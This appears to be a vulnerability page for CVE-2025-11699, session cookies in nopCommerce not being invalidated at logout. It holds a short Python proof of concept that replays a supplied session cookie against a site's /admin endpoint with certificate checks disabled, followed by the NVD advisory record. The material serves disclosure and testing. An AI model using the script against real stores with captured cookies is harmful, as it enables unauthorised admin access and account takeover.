CVE-2025-11699

# CVE-2025-11699 PoC - nopCommerce Session Hijacking # This PoC demonstrates the session hijacking vulnerability # Prerequisites: Valid session cookie from authenticated user import requests import sys TARGET_URL = "https://target-site.com" ADMIN_ENDPOINT = f"{TARGET_URL}/admin" def test_session_hijacking(session_cookie): """ Test if the session cookie is still valid after logout. If vulnerability exists, the cookie will still grant access. """ headers = { "Cookie": f".Nop.Customer={session_cookie}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } response = requests.get(ADMIN_ENDPOINT, headers=headers, verify=False) if response.status_code == 200 and "admin" in response.text.lower(): print("[+] VULNERABLE: Session cookie still valid after logout!") print(f"[+] Admin panel accessible at: {ADMIN_ENDPOINT}") return True else: print("[-] NOT VULNERABLE: Session properly invalidated") return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_11699_poc.py <session_cookie>") sys.exit(1) cookie = sys.argv[1] test_session_hijacking(cookie) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-11699", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:51.017", "lastModified": "2025-12-19T17:02:39.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nopCommerce v4.70 and prior, and version 4.80.3, does not invalidate session cookies after logout or session termination, allowing an attacker who has a \r\na valid session cookie access to privileged endpoints (such as /admin) even after the legitimate user has logged out, enabling session hijacking. Any version above 4.70 that is not 4.80.3 fixes the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nopcommerce:nopcommerce:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.70.0", "matchCriteriaId": "1ED7F330-7825-4245-AF45-D80F2530DD97"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nopcommerce:nopcommerce:4.80.3:*:*:*:*:*:*:*", "matchCriteriaId": "290294AA-E19A-4A11-AEC5-6159CB4681AE"}]}]}], "references": [{"url": "https://github.com/nopSolutions/nopCommerce/issues/7044", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://seclists.org/fulldisclosure/2025/Aug/14", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://www.nopcommerce.com/en/release-notes?srsltid=AfmBOoravPKjN19pm_XZbXZ7GvPhkt8cxlK6794BJRZlY5RxJU_yNoTT", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.kb.cert.org/vuls/id/633103", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory", "Patch"]}]}}